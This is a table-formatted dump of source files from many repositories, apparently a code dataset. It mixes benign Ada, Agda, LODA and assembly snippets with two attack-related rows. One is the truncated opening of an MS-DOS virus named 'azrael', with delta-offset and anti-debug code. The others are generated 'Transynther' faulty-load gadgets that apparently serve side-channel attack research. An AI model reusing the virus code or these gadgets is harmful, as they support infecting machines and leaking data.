max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
kern/i686/tasking/signal_trampoline.asm | greck2908/LudOS | 44 | 16563 | <filename>kern/i686/tasking/signal_trampoline.asm<gh_stars>10-100
global signal_trampoline
global signal_trampoline_info
%include "defs.asm"
align 0x1000
signal_trampoline:
cld ; clear direction flag before entering signal handler
mov ebp, esp
and esp, -16 ; align the stack to a 16B boundary
; test ... |
examples/sax_events_printer/events_printers.adb | svn2github/matreshka | 24 | 29416 | <filename>examples/sax_events_printer/events_printers.adb
------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- ... |
grammars/LDLfFormulaParser.g4 | RiccardoDeMasellis/FLLOAT | 9 | 6376 | grammar LDLfFormulaParser;
import PropFormulaParser;
/*@parser::members{
}*/
start
: expression EOF
;
expression
: doubleImplicationTemp
;
doubleImplicationTemp
: implicationTemp (DOUBLEIMPLY implicationTemp)*
;
implicationTemp
: orTemp (IMPLY orTemp)*
;
... |
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c8/c87b42a.ada | best08618/asylo | 7 | 16044 | <filename>gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c8/c87b42a.ada<gh_stars>1-10
-- C87B42A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained ... |
src/main.asm | nrkn/lo-a-rad-dragon | 0 | 19150 | processor 6502
include "vcs.h"
include "macro.h"
; ------------------------------------------------------------------------------
; Setup variables
; ------------------------------------------------------------------------------
seg.u Variables
org $80
PlayerX byte
PlayerY byte
OldX ... |
bluetooth rec/rec.asm | SREEHARIR/POV-Clock | 0 | 11218 | <filename>bluetooth rec/rec.asm
_main:
;rec.c,18 :: void main()
;rec.c,21 :: TRISA=0xFF;
MOVLW 255
MOVWF TRISA+0
;rec.c,22 :: TRISB=0x00;
CLRF TRISB+0
;rec.c,23 :: PORTB=0x00;
CLRF PORTB+0
;rec.c,24 :: Lcd_Init();
CALL _Lcd_Init+0, 0
;rec.c,25 :: TRISC.RC6 = 0x00; ... |
Task/Define-a-primitive-data-type/Ada/define-a-primitive-data-type-2.ada | LaudateCorpus1/RosettaCodeData | 1 | 24813 | <filename>Task/Define-a-primitive-data-type/Ada/define-a-primitive-data-type-2.ada
A : My_Type := 3;
B : My_Type := A;
|
src/natools-web-containers.ads | faelys/natools-web | 1 | 2277 | ------------------------------------------------------------------------------
-- Copyright (c) 2014-2019, <NAME> --
-- --
-- Permission to use, copy, modify, and distribute this software for any --
-- purpose ... |
programs/oeis/179/A179064.asm | neoneye/loda | 22 | 14755 | ; A179064: Number of non-attacking placements of 9 rooks on an n X n board.
; 0,0,0,0,0,0,0,0,362880,36288000,1097712000,17563392000,185513328000,1454424491520,9090153072000,47491411968000,214453407168000,857813628672000,3096707199505920,10237048593408000,31350961317312000,89786185074432000,242331081144768000,620367567... |
programs/oeis/059/A059592.asm | neoneye/loda | 22 | 86498 | ; A059592: Square-full part of n^2+1.
; 1,1,1,1,1,1,1,5,1,1,1,1,1,1,1,1,1,1,5,1,1,1,1,1,1,1,1,1,1,1,1,1,5,1,1,1,1,1,17,1,1,29,1,5,1,1,1,1,1,1,1,1,1,1,1,1,1,5,1,1,1,1,1,1,1,1,1,1,5,1,13,1,1,1,1,1,1,1,1,1,1,1,5,1,1,1,1,1,1,1,1,1,1,5,1,1,1,1,1,13
pow $0,2
seq $0,57918 ; Number of pairs of numbers (a,b) each less than n w... |
kernel.asm | tanya217/xv6 | 0 | 171797 | <reponame>tanya217/xv6
kernel: file format elf32-i386
Disassembly of section .text:
80100000 <multiboot_header>:
80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh
80100006: 00 00 add %al,(%eax)
80100008: fe 4f 52 decb 0x52(%edi)
8010000b: e4 .byte 0xe4
... |
alloy4fun_models/trainstlt/models/4/qT5Proi28HkXL3ZGs.als | Kaixi26/org.alloytools.alloy | 0 | 3621 | open main
pred idqT5Proi28HkXL3ZGs_prop5 {
always (all t:pos.Track | (t.pos)' in t.pos + t.pos.prox or (t.pos in Exit and (t.pos)' in t.pos))
}
pred __repair { idqT5Proi28HkXL3ZGs_prop5 }
check __repair { idqT5Proi28HkXL3ZGs_prop5 <=> prop5o } |
oeis/226/A226784.asm | neoneye/loda-programs | 11 | 20960 | <filename>oeis/226/A226784.asm
; A226784: If gcd(n,6) != 1 then a(n)=0, otherwise a(n)=6^(-1) in Z/nZ*.
; Submitted by <NAME>
; 0,0,0,0,1,0,6,0,0,0,2,0,11,0,0,0,3,0,16,0,0,0,4,0,21,0,0,0,5,0,26,0,0,0,6,0,31,0,0,0,7,0,36,0,0,0,8,0,41,0,0,0,9,0,46,0,0,0,10,0,51,0,0,0,11,0,56,0,0,0,12,0,61,0,0,0,13,0,66,0,0,0,14,0,71,0,0,... |
example/src/example_3.adb | Heziode/ada-dotenv | 6 | 29120 | with Ada.Environment_Variables;
with Print_Variable;
with Load_Environment_Variables;
with Ada.Text_IO;
procedure Example_3 is
begin
Ada.Text_IO.Put_Line ("Start main");
Ada.Environment_Variables.Iterate (Print_Variable'Access);
end Example_3;
|
awa/samples/src/atlas-reviews-modules.adb | Letractively/ada-awa | 7 | 1648 | <filename>awa/samples/src/atlas-reviews-modules.adb
-----------------------------------------------------------------------
-- atlas-reviews-modules -- Module reviews
-- Copyright (C) 2014 Stephane.Carrez
-- Written by Stephane.Carrez (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-... |
programs/oeis/081/A081441.asm | neoneye/loda | 22 | 5253 | ; A081441: a(n) = (2*n^3 - n^2 - n + 2)/2.
; 1,1,6,22,55,111,196,316,477,685,946,1266,1651,2107,2640,3256,3961,4761,5662,6670,7791,9031,10396,11892,13525,15301,17226,19306,21547,23955,26536,29296,32241,35377,38710,42246,45991,49951,54132,58540,63181,68061,73186,78562,84195,90091,96256,102696,109417,116425,123726,131326... |
oeis/028/A028196.asm | neoneye/loda-programs | 11 | 244869 | <filename>oeis/028/A028196.asm<gh_stars>10-100
; A028196: Expansion of 1/((1-5x)(1-9x)(1-10x)(1-11x)).
; Submitted by <NAME>
; 1,35,776,13930,221151,3240825,44906926,597218720,7698198101,96837355615,1194615734676,14505367659510,173840151316651,2060770407338405,24205227062904026,282088240414000300,3265447176464616801,37... |
src/SlimShader.VirtualMachine.Tests/Shaders/GS/GS_CubeMap_GS.asm | tgjones/slimshader | 125 | 104995 | <gh_stars>100-1000
//
// Generated by Microsoft (R) HLSL Shader Compiler 9.30.9200.20789
//
//
///
// Buffer Definitions:
//
// cbuffer $Globals
// {
//
// float4x4 TransformMatrixArray[6]; // Offset: 0 Size: 384
//
// }
//
//
// Resource Bindings:
//
// Name Type Format ... |
3rdparty/unistd/unistd/unistd/int128/Int128x64.asm | dna2fork/darknet | 168 | 92150 | ; These functions implements the basic operations for _int128 type
; running on 64-bit intel CPU.
; They are (almost) identical to MS's workhorse-functions that do
; __int64-math using 32-bit registers. Every memory reference that uses
; dword ptr(4 byte) are replaced by qword ptr(8 byte), and registernames
; eax,... |
llvm-gcc-4.2-2.9/gcc/ada/lib.ads | vidkidz/crossbridge | 1 | 20899 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- ... |
oeis/139/A139292.asm | neoneye/loda-programs | 11 | 1576 | <filename>oeis/139/A139292.asm
; A139292: 2^(2p - 1)/8, where p is prime.
; 1,4,64,1024,262144,4194304,1073741824,17179869184,4398046511104,18014398509481984,288230376151711744,1180591620717411303424,302231454903657293676544,4835703278458516698824704
seq $0,6005 ; The odd prime numbers together with 1.
trn $0,2
mov $2... |
P6/data_P6_2/MDTest101.asm | alxzzhou/BUAA_CO_2020 | 1 | 160750 | <reponame>alxzzhou/BUAA_CO_2020<filename>P6/data_P6_2/MDTest101.asm
ori $ra,$ra,0xf
ori $4,$3,29030
srav $5,$5,$4
mflo $1
mfhi $0
mfhi $1
lui $0,32919
lui $5,13232
div $3,$ra
mtlo $4
srav $4,$4,$6
addiu $4,$1,-20044
lui $4,34674
multu $4,$4
div $4,$ra
divu $1,$ra
sb $4,9($0)
srav $3,$5,$3
addu $4,$4,$4
mfhi $4
mult $4,... |
standalone/pruntime/rizin/binrz/preload/trap-linux-x86-32.asm | ndkazu/guessNumber-vs-Bot | 0 | 88988 | .os linux
.arch x86
.bits 32
mov eax, $sys.getpid
int 0x80
mov ebx, $sys.kill
xchg eax, ebx
int 0x80
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1944.asm | ljhsiun2/medusa | 9 | 81385 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x5bed, %rsi
lea addresses_D_ht+0xa05, %rdi
nop
nop
nop
nop
nop
cmp $9334, %r9
mov $50, %rcx
rep movsb
nop
dec %r10
lea addresses_UC_ht+0x9c20, %r15
clflush (%r15)
nop
nop
add $... |
oeis/203/A203579.asm | neoneye/loda-programs | 11 | 19016 | ; A203579: Exponential (or binomial) convolution of A000032 (Lucas) with itself, divided by 2.
; Submitted by <NAME>
; 2,2,7,17,57,177,577,1857,6017,19457,62977,203777,659457,2134017,6905857,22347777,72318977,234029057,757334017,2450784257,7930904577,25664946177,83053510657,268766806017,869747654657,2814562533377,91081... |
oeis/094/A094431.asm | neoneye/loda-programs | 11 | 81142 | ; A094431: a(n) = left term in M^n * [1 0 0], where M = the 3 X 3 matrix [1 -1 0 / -1 4 -3 / 0 -3 3].
; Submitted by <NAME>(s2)
; 1,2,7,38,241,1586,10519,69878,464353,3085922,20508199,136292294,905764561,6019485842,40004005687,265856672918,1766817332161,11741828601026,78033272818759,518589725140838,3446418345757873
mo... |
mac/karabiner/remove_seleced_files.scpt | dhruvmanila/dotfiles | 10 | 4461 | tell application "Finder"
try
set sel to the selection
delete (every item of sel)
end try
end tell
|
libsrc/games/joystick.asm | andydansby/z88dk-mk2 | 1 | 105178 | ;
; Generic game device library
; <NAME> - 20/8/2001
;
; $Id: joystick.asm,v 1.3 2009/01/23 08:22:27 stefano Exp $
;
XLIB joystick
LIB getk
.joystick
;__FASTALL__ : joystick no. in HL
ld a,l
cp 1 ; Stick emulation 1 (qaop-mn)
jr nz,j_no1
call getk
ld a,l
ld l,0
or @00100000 ; TO_LOWER
cp 'm... |
oeis/098/A098156.asm | neoneye/loda-programs | 11 | 241282 | ; A098156: Interleave n+1 and 2n+1 and take binomial transform.
; 1,2,5,13,32,76,176,400,896,1984,4352,9472,20480,44032,94208,200704,425984,901120,1900544,3997696,8388608,17563648,36700160,76546048,159383552,331350016,687865856,1426063360,2952790016,6106906624,12616466432,26038239232,53687091200,110595407872,2276332666... |
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_17_1140.asm | ljhsiun2/medusa | 9 | 102664 | <filename>Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_17_1140.asm
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_RW+0xcd35, %r11
nop
nop
and %rsi, %rsi
movb $0x... |
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_19_514.asm | ljhsiun2/medusa | 9 | 16732 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x8442, %rsi
lea addresses_WT_ht+0x155e2, %rdi
sub $65411, %r11
mov $107, %rcx
rep movsl
nop
nop
and $32253, %r12
lea addresses_WC_ht+0x1c442, %rcx
clflush (%rcx)
nop
nop
nop
nop
nop
add ... |
test/Succeed/Issue5506.agda | cruhland/agda | 1,989 | 14562 | <reponame>cruhland/agda
-- Andreas, 2021-08-18, issue #5506 reported by alexarice
-- A crash in the forcing methodology introduced in 2.6.1
-- that surfaced with the removal of auto-inlining in 2.6.2.
-- {-# OPTIONS --no-forcing #-} -- fixes
-- {-# OPTIONS --auto-inline #-} -- fixes
{-# OPTIONS -v tc.lhs.unify.fo... |
Cubical/HITs/Sn/Base.agda | limemloh/cubical | 0 | 14480 | {-# OPTIONS --cubical --safe #-}
module Cubical.HITs.Sn.Base where
open import Cubical.HITs.Susp
open import Cubical.Data.Nat
open import Cubical.Data.NatMinusOne
open import Cubical.Data.Empty
open import Cubical.Foundations.Prelude
S₊ : ℕ₋₁ → Type₀
S₊ neg1 = ⊥
S₊ (suc n) = Susp (S₊ n)
S : ℕ → Type₀
S n = S₊ (ℕ→ℕ₋₁... |
test/Succeed/Issue1944-Stream.agda | alhassy/agda | 3 | 7033 | <filename>test/Succeed/Issue1944-Stream.agda
-- AIM XXIII, Andreas, 2016-04-24
-- Overloaded projections and projection patterns
-- {-# OPTIONS -v tc.proj.amb:30 #-}
-- {-# OPTIONS -v tc.lhs.split:20 #-}
module _ where
import Common.Level
open import Common.Prelude hiding (map)
open import Common.Equality
module M ... |
programs/oeis/182/A182769.asm | jmorken/loda | 1 | 25581 | ; A182769: Beatty sequence for (4 + sqrt(2))/2.
; 2,5,8,10,13,16,18,21,24,27,29,32,35,37,40,43,46,48,51,54,56,59,62,64,67,70,73,75,78,81,83,86,89,92,94,97,100,102,105,108,110,113,116,119,121,124,127,129,132,135,138,140,143,146,148,151,154,157,159,162,165,167,170,173,175,178,181,184,186,189,192,194,197,200,203,205,208,2... |
programs/oeis/120/A120177.asm | karttu/loda | 0 | 174812 | <filename>programs/oeis/120/A120177.asm
; A120177: a(1)=9; a(n)=floor((47+sum(a(1) to a(n-1)))/5).
; 9,11,13,16,19,23,27,33,39,47,56,68,81,97,117,140,168,202,242,291,349,419,502,603,723,868,1042,1250,1500,1800,2160,2592,3110,3732,4479,5375,6450,7740,9288,11145,13374,16049,19259,23111,27733,33279,39935,47922,57507,69008... |
constants/deco_constants.asm | Dev727/ancientplatinum | 28 | 177143 | ; decoration types
const_value = 1
const DECO_PLANT
const DECO_BED
const DECO_CARPET
const DECO_POSTER
const DECO_DOLL
const DECO_BIGDOLL
; DecorationNames indexes (see data/decorations/names.asm)
const_value = 1
const PUT_IT_AWAY
const MAGNAPLANT
const TROPICPLANT
const JUMBOPLANT
const TOWN_MAP_D
const F... |
alloy4fun_models/trashltl/models/17/KneYp94xmiRajRu4E.als | Kaixi26/org.alloytools.alloy | 0 | 5337 | open main
pred idKneYp94xmiRajRu4E_prop18 {
always all f: File | (f in Trash releases f in Protected)
}
pred __repair { idKneYp94xmiRajRu4E_prop18 }
check __repair { idKneYp94xmiRajRu4E_prop18 <=> prop18o } |
oeis/220/A220853.asm | neoneye/loda-programs | 11 | 166434 | <filename>oeis/220/A220853.asm
; A220853: Denominators of the fraction (30*n+7) * binomial(2*n,n)^2 * 2F1([1/2 - n/2, -n/2], [1], 64)/(-256)^n, where 2F1 is the hypergeometric function.
; 1,64,16384,1048576,1073741824,68719476736,17592186044416,1125899906842624,4611686018427387904,295147905179352825856,7555786372591432... |
projects/07/MemoryAccess/PointerTest/PointerTest.asm | feliposz/nand2tetris | 0 | 1846 | // push constant 3030
@3030
D=A
@SP
A=M
M=D
@SP
M=M+1
// pop pointer 0
@SP
M=M-1
A=M
D=M
@THIS
M=D
// push constant 3040
@3040
D=A
@SP
A=M
M=D
@SP
M=M+1
// pop pointer 1
@SP
M=M-1
A=M
D=M
@THAT
M=D
// push constant 32
@32
D=A
@SP
A=M
M=D
@SP
M=M+1
// pop this 2
@2
D=A
@THIS
D=D+M
@R13
M=D
@SP
M=M-1
A=M
D=M
@R13
A=M
M=D... |
bb-runtimes/runtimes/ravenscar-full-stm32g474/gnat/s-libdou.adb | JCGobbi/Nucleo-STM32G474RE | 0 | 3088 | <reponame>JCGobbi/Nucleo-STM32G474RE<gh_stars>0
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- ... |
src/vectors.asm | munshkr/nes-snake | 0 | 15682 | <gh_stars>0
;;;;;;;;;;;;;;;;;;;
;;; VECTORS ;;;
;;;;;;;;;;;;;;;;;;;
.pad $fffa
.dw nmi
.dw reset
.dw 0 |
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_21829_1075.asm | ljhsiun2/medusa | 9 | 15641 | <filename>Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_21829_1075.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x15338, %rsi
lea addresses_WC_ht+0x18d78, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
add %rdx, %rdx
... |
4/1/AVS2/Homework/ipr2/ipr2.asm | xdegtyarev/bsuir | 2 | 166502 | [org 0x7C00] ; BIOS boot origin
[bits 16] ; 16-bit Real Mode
jmp start ;Jump to start() entry-point
start:
xor ebx,ebx
mov bx,cs ; EBX=segment
shl ebx,4 ; << 4
lea eax,[ebx] ; EAX=linear address of segment base
; fix up TSS entries, too
lea eax,[ebx + stss] ; EAX=linear address of stss
mov [gdt32_... |
arch/ARM/Nordic/svd/nrf51/nrf_svd.ads | rocher/Ada_Drivers_Library | 192 | 5535 | <reponame>rocher/Ada_Drivers_Library
-- Copyright (c) 2013, Nordic Semiconductor ASA
-- All rights reserved.
--
-- Redistribution and use in source and binary forms, with or without
-- modification, are permitted provided that the following conditions are met:
--
-- * Redistributions of source code must retain the... |
Task/Subtractive-generator/Ada/subtractive-generator-3.ada | LaudateCorpus1/RosettaCodeData | 1 | 4656 | with Ada.Text_IO;
with Subtractive_Generator;
procedure Main is
Random : Subtractive_Generator.State;
N : Natural;
begin
Subtractive_Generator.Initialize (Generator => Random,
Seed => 292929);
for I in 220 .. 222 loop
Subtractive_Generator.Next (Generato... |
oeis/114/A114448.asm | neoneye/loda-programs | 11 | 92987 | ; A114448: Array a(n,k) = n^k (mod k) read by antidiagonals (k>=1, n>=1).
; Submitted by <NAME>(s3)
; 0,0,1,0,0,1,0,1,2,1,0,0,0,0,1,0,1,1,1,2,1,0,0,2,0,3,4,1,0,1,0,1,4,3,2,1,0,0,1,0,0,4,3,0,1,0,1,2,1,1,1,4,1,8,1,0,0,0,0,2,0,5,0,0,4,1,0,1,1,1,3,1,6,1,1,9,2,1,0,0,2,0,4,4,0,0,8,6,3,4,1,0,1,0,1,0,3,1,1,0
lpb $0
add $1,1... |
uti/timer.asm | olifink/smsqe | 0 | 243025 | * uti_timer_asm
include dev8_keys_qdos_sms
include dev8_keys_err
include dev8_keys_atari
include dev8_mac_xref
section utility
xdef ut_etime
xdef ut_dtime
;+++
; timer b
;
; Entry Exit
; D0.l error code
; D1.b timer mode preserved
; D2.b timer b data preserved
; A0.l address of int. routine preserve... |
data/mapObjects/SSAnne3F.asm | AmateurPanda92/pokemon-rby-dx | 9 | 23174 | SSAnne3F_Object:
db $c ; border block
db 2 ; warps
warp 0, 3, 0, SS_ANNE_BOW
warp 19, 3, 7, SS_ANNE_2F
db 0 ; signs
db 1 ; objects
object SPRITE_SAILOR, 9, 3, WALK, 2, 1 ; person
; warp-to
warp_to 0, 3, SS_ANNE_3F_WIDTH ; SS_ANNE_BOW
warp_to 19, 3, SS_ANNE_3F_WIDTH ; SS_ANNE_2F
|
test/asset/agda-stdlib-1.0/Relation/Binary/Properties/Preorder.agda | omega12345/agda-mode | 0 | 7219 | <reponame>omega12345/agda-mode<gh_stars>0
------------------------------------------------------------------------
-- The Agda standard library
--
-- Properties satisfied by preorders
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
open import Relation.Binar... |
oeis/038/A038138.asm | neoneye/loda-programs | 11 | 5446 | <filename>oeis/038/A038138.asm
; A038138: Order of n (mod 7).
; Submitted by <NAME>
; 0,1,3,6,3,6,2,0,1,3,6,3,6,2,0,1,3,6,3,6,2,0,1,3,6,3,6,2,0,1,3,6,3,6,2,0,1,3,6,3,6,2,0,1,3,6,3,6,2,0,1,3,6,3,6,2,0,1,3,6,3,6,2,0,1,3,6,3,6,2,0,1,3,6,3,6,2,0,1,3,6,3,6,2,0,1,3,6,3,6,2,0,1,3,6,3,6,2,0,1
mod $0,7
seq $0,19300 ; First n e... |
programs/oeis/084/A084101.asm | karttu/loda | 0 | 92031 | <gh_stars>0
; A084101: Expansion of (1+x)^2/((1-x)*(1+x^2)).
; 1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1
mod $0,4
mov $1,3
bin $1,$0
|
AxProf/checkerGen/AxProfSpec.g4 | rod-lin/AxProf | 6 | 4473 | /* AxProf specification generator grammar */
grammar AxProfSpec;
@header{
import java.util.List;
import java.util.ArrayList;
}
/* Type rule
supports real values, matrices of real values, lists, and maps
*/
type returns [AST.dataType value]
: 'real' { $value = new AST.dataType(AST.dataType.REAL); }
| 'mat... |
alloy4fun_models/trashltl/models/17/JitedxQKrywDtohF4.als | Kaixi26/org.alloytools.alloy | 0 | 4812 | <filename>alloy4fun_models/trashltl/models/17/JitedxQKrywDtohF4.als
open main
pred idJitedxQKrywDtohF4_prop18 {
all f : Protected | always (f in Trash' => always (f not in Protected))
}
pred __repair { idJitedxQKrywDtohF4_prop18 }
check __repair { idJitedxQKrywDtohF4_prop18 <=> prop18o } |
src/natools-static_hash_maps.adb | faelys/natools | 0 | 25298 | <filename>src/natools-static_hash_maps.adb
------------------------------------------------------------------------------
-- Copyright (c) 2014, <NAME> --
-- --
-- Permission to use, copy, modify, and distrib... |
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_958.asm | ljhsiun2/medusa | 9 | 82237 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %rsi
lea addresses_WC_ht+0x1cc6e, %r14
nop
nop
nop
add %rsi, %rsi
movl $0x61626364, (%r14)
nop
nop
xor %r15, %r15
pop %rsi
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %r9
push ... |
src/win64_masm.asm | willcassella/cro | 0 | 160119 | <gh_stars>0
.code
cro_asm_start proc frame
.setframe rbp, 0
.endprolog
; Pre: rbx = fiber_fn:cro::FiberFn*, rdi = root_fn:cro_RootFn*, rsi = arg:void*
; Move arguments into Win64 convention
mov rcx, rbx
mov rdx, rsi
; Allocate shadow space
sub rsp, 32
; Call into coroutine
call rdi
; ... |
programs/oeis/020/A020721.asm | jmorken/loda | 1 | 17628 | ; A020721: Pisot sequences E(7,10), P(7,10).
; 7,10,14,20,29,42,61,89,130,190,278,407,596,873,1279,1874,2746,4024,5897,8642,12665,18561,27202,39866,58426,85627,125492,183917,269543,395034,578950,848492,1243525,1822474,2670965,3914489,5736962,8407926,12322414,18059375,26467300,38789713,56849087,83316386,122106098,178955... |
FormalAnalyzer/models/apps/ID14LockDoorWhenHomeModeSet+.als | Mohannadcse/IoTCOM_BehavioralRuleExtractor | 0 | 2994 | module app_ID14LockDoorWhenHomeModeSet
open IoTBottomUp as base
open cap_location
open cap_lock
one sig app_ID14LockDoorWhenHomeModeSet extends IoTApp {
lock : one cap_lock,
state : one cap_state,
location : one cap_location,
} {
rules = r
}
one sig cap_state extends Capability {} {
attributes... |
programs/oeis/011/A011869.asm | karttu/loda | 1 | 7807 | ; A011869: a(n) = floor(n*(n-1)/16).
; 0,0,0,0,0,1,1,2,3,4,5,6,8,9,11,13,15,17,19,21,23,26,28,31,34,37,40,43,47,50,54,58,62,66,70,74,78,83,87,92,97,102,107,112,118,123,129,135,141,147,153,159,165,172,178,185,192,199,206,213,221,228,236,244,252,260,268,276,284,293,301,310,319,328,337,346,356,365,375,385,395,405,415,425,... |
oeis/145/A145716.asm | neoneye/loda-programs | 11 | 9055 | ; A145716: Numbers Y such that 381*Y^2+127 is a square.
; Submitted by <NAME>(s1)
; 13,26403,53598077,108804069907,220872208313133,448370474071590083,910191841493119555357,1847688989860558625784627,3750807739225092517223237453,7614137862937947949404546244963,15456696110956295112198711654037437
mov $3,1
lpb $0
sub $0... |
launchbar/Pushover to Air.applescript | Brickstertwo/applescripts | 0 | 1391 | on handle_string(message)
do shell script "~/Development/bash/commands/bin/pushover -m \"" & message & "\" -t \"LaunchBar\" -d \"Air\""
end handle_string
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_1142_1555.asm | ljhsiun2/medusa | 9 | 99034 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x104c8, %rsi
lea addresses_WC_ht+0x13848, %rdi
clflush (%rdi)
xor $38783, %r13
mov $45, %rcx
rep movsq
nop
nop
and $35277, %rcx
lea addresses_UC_ht+0x11aa8, %rbx
nop
nop
nop
nop
inc %r... |
oeis/101/A101680.asm | neoneye/loda-programs | 11 | 245344 | ; A101680: A modular binomial transform of 10^n.
; Submitted by <NAME>
; 1,11,111,1011,10111,111011,1100111,10001011,100010111,1100111011,11101100111,101110001011,1011000010111,11100000111011,110000001100111,1000000010001011,10000000100010111,110000001100111011
mul $0,2
seq $0,101623 ; Modular binomial transform of 10... |
programs/oeis/047/A047545.asm | karttu/loda | 1 | 14909 | <gh_stars>1-10
; A047545: Numbers that are congruent to {0, 1, 3, 4, 7} mod 8.
; 0,1,3,4,7,8,9,11,12,15,16,17,19,20,23,24,25,27,28,31,32,33,35,36,39,40,41,43,44,47,48,49,51,52,55,56,57,59,60,63,64,65,67,68,71,72,73,75,76,79,80,81,83,84,87,88,89,91,92,95,96,97,99,100,103,104
mov $2,$0
add $0,1
mul $0,2
mov $1,$0
div $1... |
libsrc/stdio/ansi/vz200/f_ansi_cls.asm | andydansby/z88dk-mk2 | 1 | 81854 | <reponame>andydansby/z88dk-mk2
;
; ANSI Video handling for the VZ200
;
; CLS - Clear the screen
;
;
; <NAME> - Apr. 2000
;
;
; $Id: f_ansi_cls.asm,v 1.3 2003/09/30 10:23:12 stefano Exp $
;
XLIB ansi_cls
.ansi_cls
ld a,0
ld (6800h),a ; force TEXT mode
ld hl,$7000
ld (hl),32 ;' '
ld d,h
ld e,l
inc de
ld bc... |
MSDOS/Virus.MSDOS.Unknown.azrael.asm | fengjixuchui/Family | 3 | 100115 | start:
call delta
delta:
pop bp
sub bp,offset delta
mov ax,0faceh
push ax
pop ax
cli
dec sp
dec sp
sti
pop bx
cmp bx,ax
je its_ok
mov ax,4c00h
int 21h
its_ok:
mov word ptr[bp+saved_ds],ds
push cs
push cs
pop ds
pop es
lea si,[bp+old_ip]
lea di,[bp+original_ip]
mov cx,4
rep movsw
mov ah,1ah
lea dx,[bp+ende]
int 21... |
programs/oeis/052/A052254.asm | neoneye/loda | 22 | 102669 | ; A052254: Partial sums of A050406.
; 1,17,108,444,1410,3762,8844,18876,37323,69355,122408,206856,336804,531012,813960,1217064,1780053,2552517,3595636,4984100,6808230,9176310,12217140,16082820,20951775,27032031,34564752,43828048,55141064,68868360,85424592,105279504,128963241,157071993,190273980,229315788,275029066,3283... |
library/02_functions_batch1/unknown_10008a80.asm | SamantazFox/dds140-reverse-engineering | 1 | 245116 | 10008a80: 55 push ebp
10008a81: 8b ec mov ebp,esp
10008a83: 6a fe push 0xfffffffe
10008a85: 68 68 e5 00 10 push 0x1000e568
10008a8a: 68 90 58 00 10 push 0x10005890
10008a8f: 64 a1 00 00 00 00 mov eax,fs:0x0
10008a95: 50 ... |
Library/Spreadsheet/Spreadsheet/spreadsheetRange.asm | steakknife/pcgeos | 504 | 13091 | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: GeoCalc
FILE: spreadsheetRange.asm
AUTHOR: <NAME>, Mar 2, 1991
ROUTINES:
Name Description
---- -----------
METHOD SpreadsheetProtectRa... |
3-mid/opengl/private/freetype/source/freetype-face.ads | charlie5/lace | 20 | 10728 | with
freetype.face_Size,
freetype.charMap,
freeType_C.FT_Face,
freeType_C.FT_GlyphSlot,
interfaces.C;
package freetype.Face
--
-- The Face class provides an abstraction layer for the Freetype Face.
--
is
type Item is tagged private;
type View is access all Item'Class;
---------
... |
source/nodes/program-nodes-while_loop_statements.ads | reznikmm/gela | 0 | 12652 | <reponame>reznikmm/gela
-- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
with Program.Elements.Defining_Identifiers;
with Program.Lexical_Elements;
with Program.Elements.Expressions;
with Program.Element_Vectors;
with Pr... |
test/gather.asm | bitwiseworks/nasm-os2 | 1 | 160866 | bits 64
VGATHERQPS xmm1, [xmm0 + rsi], xmm2 ; OK
VGATHERQPS xmm1, [ymm0 + rsi], xmm2 ; fail: error: invalid effective address
VGATHERDPD ymm1, [xmm0 + rsi], ymm2 ; OK
VGATHERDPD xmm1, [xmm0 + rsi], xmm2 ; OK
VGATHERQPD xmm1, [xmm0 + rsi], xmm2 ; OK
